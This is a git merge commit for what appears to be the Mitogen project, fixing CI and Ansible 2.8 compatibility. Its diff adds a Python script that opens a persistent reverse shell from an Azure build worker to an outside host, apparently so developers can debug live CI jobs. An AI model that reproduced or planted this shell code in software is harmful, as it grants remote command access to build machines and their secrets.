Merge remote-tracking branch 'origin/issue587'
* origin/issue587: issue #587: docs: update Changelog. issue #587: disable SSH key setup, it breaks unit tests issue #587: attempt to fix Mac Azure job issue #587: Add 2.8.0/Py2.7 job to Azure issue #587: use deadsnakes PPA Python because VSTS version is junk issue #587: workaround for ansible/ansible#56629 issue #587: enable spawn_reverse_shell and tidy up Azure step names issue #587: ensure Azure worker has a working SSH configuration issue #587: import spawn_reverse_shell.py script. issue #587: support pausing ansible_tests if flag file exists issue #587: "state: absent" was removed in 2.8.0 issue #587: consistent become_exe() behaviour for older Ansibles. issue #587: update stub_connections/ test to use new doas var issue #587: update MODULE FAILURE message format for post >2.7 issue #587: fix syntax error due to presence of comment issue #587: update mitogen_doas doc to match varible change. issue #587: disable deprecation_warnings for CI. issue #587: mitogen_doas should not become_exe for doas_path issue #587: 2.8 whitespace handling was improved. issue #587: 2.8 PlayContext lacks sudo_flags attribute. issue #587: 2.8 PluginLoader.get() introduced new collection_list kwarg issue #587: 2.8 PlayContext.connection no longer contains connection name issue #587: bump max Ansible versionpull/595/head
commit
6f4cbc1ead
@ -0,0 +1,36 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Allow poking around Azure while the job is running.
|
||||
"""
|
||||
|
||||
import os
|
||||
import pty
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
|
||||
if os.fork():
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
def try_once():
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect(("k3.botanicus.net", 9494))
|
||||
open('/tmp/interactive', 'w').close()
|
||||
|
||||
os.dup2(s.fileno(), 0)
|
||||
os.dup2(s.fileno(), 1)
|
||||
os.dup2(s.fileno(), 2)
|
||||
p = pty.spawn("/bin/sh")
|
||||
|
||||
|
||||
while True:
|
||||
try:
|
||||
try_once()
|
||||
except:
|
||||
time.sleep(5)
|
||||
continue
|
||||
|
Loading…
Reference in New Issue